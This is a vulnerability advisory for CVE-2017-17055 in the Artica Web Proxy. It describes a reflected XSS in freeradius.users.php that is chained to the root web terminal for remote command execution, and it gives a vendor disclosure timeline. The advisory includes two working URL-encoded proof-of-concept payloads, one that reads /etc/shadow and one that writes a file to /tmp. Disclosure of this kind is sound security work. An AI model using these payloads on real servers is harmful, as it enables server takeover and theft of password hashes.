ARTICA PROXY Solutions have been developed over the past 10 years as an Open Source Project to help SMEs and public bodies protect both their organizations and employees from risks posed by the Internet. Vulnerability Type: =================== Remote Code Execution CVE Reference: ============== CVE-2017-17055 Security Issue: ================ Artica offers a web based command line emulator 'system.terminal.php' (shell), allowing authenticated users to execute OS commands as root. However, artica fails to sanitize the following HTTP request parameter $_GET["username-form-id"] used in 'freeradius.users.php'. Therefore, authenticated users who click an attacker supplied link or visit a malicious webpage, can result in execution of attacker supplied Javascript code. Which is then used to execute unauthorized Operating System Commands (RCE) on the affected Artica Web Proxy Server abusing the system.terminal.php functionality. Result is attacker takeover of the artica server. Exploit/POC: ============= 1) Steal artica Server "/etc/shadow" password file. https://VICTIM-IP:9000/freeradius.users.php?username-form-id=%3C%2Fscript%3E%3Cscript%3Evar%20xhr=new%20XMLHttpRequest();xhr.onreadystatechange=function(){if(xhr.status==200){alert(xhr.responseText);}};xhr.open(%27POST%27,%27https://VICTIM-IP:9000/system.terminal.php%27,true);xhr.setRequestHeader(%27Content-type%27,%27application/x-www-form-urlencoded%27);xhr.send(%27cmdline=cat%20/etc/shadow%27);%3C%2Fscript%3E%3Cscript%3E 2) Write file 'PWN' to /tmp dir. https://VICTIM-IP:9000/freeradius.users.php?username-form-id=%3C%2Fscript%3E%3Cscript%3Evar%20xhr=new%20XMLHttpRequest();xhr.onreadystatechange=function(){if(xhr.status==200){alert(xhr.responseText);}};xhr.open(%27POST%27,%27https://VICTIM-IP:9000/system.terminal.php%27,true);xhr.setRequestHeader(%27Content-type%27,%27application/x-www-form-urlencoded%27);xhr.send(%27cmdline=touch%20/tmp/PWN%27);%3C%2Fscript%3E%3Cscript%3E Network Access: =============== Remote Severity: ========= High Disclosure Timeline: ============================= Vendor Notification: November 28, 2017 Vendor Confirms Vulnerability : November 28, 2017 Vendor Reply "Fixed in 3.06.112911 / ISO released" : November 29, 2017 December 1, 2017 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
